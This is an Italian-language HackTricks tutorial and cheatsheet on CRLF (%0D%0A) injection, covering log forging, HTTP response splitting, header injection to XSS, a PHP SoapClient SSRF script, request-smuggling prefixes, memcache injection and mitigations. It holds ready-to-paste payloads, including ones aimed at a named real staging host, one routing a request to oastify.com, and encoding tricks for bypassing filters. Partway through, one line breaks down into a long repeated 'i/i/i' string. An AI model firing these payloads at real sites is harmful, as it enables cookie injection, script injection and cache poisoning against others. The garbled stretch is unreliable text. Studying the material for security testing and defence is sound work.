CRLF (%0D%0A) Injection

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Suggerimento per bug bounty: iscriviti a Intigriti, una piattaforma premium di bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi e inizia a guadagnare taglie fino a $100,000!

CRLF

Carriage Return (CR) e Line Feed (LF), conosciuti collettivamente come CRLF, sono sequenze di caratteri speciali utilizzate nel protocollo HTTP per indicare la fine di una riga o l'inizio di una nuova. I server web e i browser utilizzano CRLF per distinguere tra gli header HTTP e il corpo di una risposta. Questi caratteri sono universalmente impiegati nelle comunicazioni HTTP/1.1 tra vari tipi di server web, come Apache e Microsoft IIS.

Vulnerabilità di Iniezione CRLF

L'iniezione CRLF coinvolge l'inserimento dei caratteri CR e LF nell'input fornito dall'utente. Questa azione induce il server, l'applicazione o l'utente a interpretare la sequenza iniettata come la fine di una risposta e l'inizio di un'altra. Anche se questi caratteri non sono intrinsecamente dannosi, il loro uso improprio può portare a divisioni di risposta HTTP e ad altre attività dannose.

Esempio: Iniezione CRLF in un File di Log

Esempio da qui

Considera un file di log in un pannello di amministrazione che segue il formato: IP - Ora - Percorso Visitato. Una voce tipica potrebbe essere:

123.123.123.123 - 08:15 - /index.php?page=home

Un attaccante può sfruttare un'iniezione CRLF per manipolare questo registro. Iniettando caratteri CRLF nella richiesta HTTP, l'attaccante può alterare il flusso di output e fabbricare voci di registro. Ad esempio, una sequenza iniettata potrebbe trasformare l'entrata nel registro in:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Ecco, %0d e %0a rappresentano le forme URL-encoded di CR e LF. Dopo l'attacco, il registro mostrerebbe in modo fuorviante:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Il/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i/i

/%0d%0aLocation:%20http://myweb.com

E il server risponde con l'intestazione:

Location: http://myweb.com

Altro esempio: (da https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Nel percorso dell'URL

Puoi inviare il payload all'interno del percorso dell'URL per controllare la risposta dal server (esempio da qui):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Controlla più esempi in:

Iniezione di Intestazioni HTTP

L'iniezione di intestazioni HTTP, spesso sfruttata attraverso l'iniezione di CRLF (Carriage Return and Line Feed), consente agli attaccanti di inserire intestazioni HTTP. Questo può compromettere meccanismi di sicurezza come i filtri XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), portando potenzialmente a un accesso non autorizzato a dati sensibili, come i token CSRF, o alla manipolazione delle sessioni utente attraverso l'inserimento di cookie.

Sfruttare CORS tramite Iniezione di Intestazioni HTTP

Un attaccante può iniettare intestazioni HTTP per abilitare CORS (Cross-Origin Resource Sharing), eludendo le restrizioni imposte dalla SOP. Questa violazione consente a script provenienti da origini maligne di interagire con risorse provenienti da un'origine diversa, potenzialmente accedendo a dati protetti.

SSRF e Iniezione di Richieste HTTP tramite CRLF

L'iniezione di CRLF può essere utilizzata per creare e iniettare una nuova richiesta HTTP. Un esempio significativo di ciò è la vulnerabilità nella classe SoapClient di PHP, specificamente nel parametro user_agent. Manipolando questo parametro, un attaccante può inserire intestazioni aggiuntive e contenuti del corpo, o addirittura iniettare completamente una nuova richiesta HTTP. Di seguito è riportato un esempio in PHP che dimostra questa forma di sfruttamento:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Iniezione di Intestazioni per il Request Smuggling

Per ulteriori informazioni su questa tecnica e potenziali problemi controlla la fonte originale.

Puoi iniettare intestazioni essenziali per garantire che il back-end mantenga aperta la connessione dopo aver risposto alla richiesta iniziale:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Successivamente, è possibile specificare una seconda richiesta. Questo scenario coinvolge tipicamente HTTP request smuggling, una tecnica in cui header aggiuntivi o elementi del corpo aggiunti dal server post-iniezione possono portare a vari exploit di sicurezza.

Sfruttamento:

  1. Iniezione di Prefisso Malizioso: Questo metodo coinvolge l'avvelenamento della richiesta dell'utente successivo o di una cache web specificando un prefisso malizioso. Un esempio di ciò è:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Creazione di un Prefisso per l'Avvelenamento della Coda di Risposta: Questo approccio coinvolge la creazione di un prefisso che, combinato con spazzatura finale, forma una seconda richiesta completa. Questo può attivare l'avvelenamento della coda di risposta. Un esempio è:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Iniezione di Memcache

Memcache è un archivio chiave-valore che utilizza un protocollo in testo chiaro. Maggiori informazioni in:

Per tutte le informazioni leggi il documento originale

Se una piattaforma sta prendendo dati da una richiesta HTTP e utilizzandoli senza sanificazione per effettuare richieste a un server memcache, un attaccante potrebbe sfruttare questo comportamento per iniettare nuovi comandi memcache.

Ad esempio, nella vulnerabilità originale scoperta, le chiavi della cache venivano utilizzate per restituire l'IP e la porta a cui un utente doveva connettersi, e gli attaccanti erano in grado di iniettare comandi memcache che avrebbero avvelenato la cache per inviare i dettagli delle vittime (nomi utente e password inclusi) ai server degli attaccanti:

Inoltre, i ricercatori hanno scoperto che potevano desincronizzare le risposte memcache per inviare gli IP e le porte degli attaccanti agli utenti di cui l'attaccante non conosceva l'email:

Come Prevenire le Iniezioni CRLF / Header HTTP nelle Applicazioni Web

Per mitigare i rischi di Iniezioni CRLF (Carriage Return e Line Feed) o Header HTTP nelle applicazioni web, sono raccomandate le seguenti strategie:

  1. Evitare l'Input Diretto degli Utenti negli Header di Risposta: L'approccio più sicuro è evitare di incorporare direttamente l'input fornito dall'utente negli header di risposta.

  2. Codificare i Caratteri Speciali: Se non è possibile evitare l'input diretto degli utenti, assicurarsi di utilizzare una funzione dedicata alla codifica dei caratteri speciali come CR (Carriage Return) e LF (Line Feed). Questa pratica previene la possibilità di iniezione CRLF.

  3. Aggiornare il Linguaggio di Programmazione: Aggiornare regolarmente il linguaggio di programmazione utilizzato nelle tue applicazioni web all'ultima versione. Optare per una versione che impedisce intrinsecamente l'iniezione di caratteri CR e LF all'interno delle funzioni incaricate di impostare gli header HTTP.

CHEATSHEET

Cheatsheet da qui

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Strumenti Automatici

Elenco di Rilevamento Brute-Force

Riferimenti

Suggerimento per il bug bounty: iscriviti a Intigriti, una piattaforma premium per bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi e inizia a guadagnare taglie fino a $100,000!

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated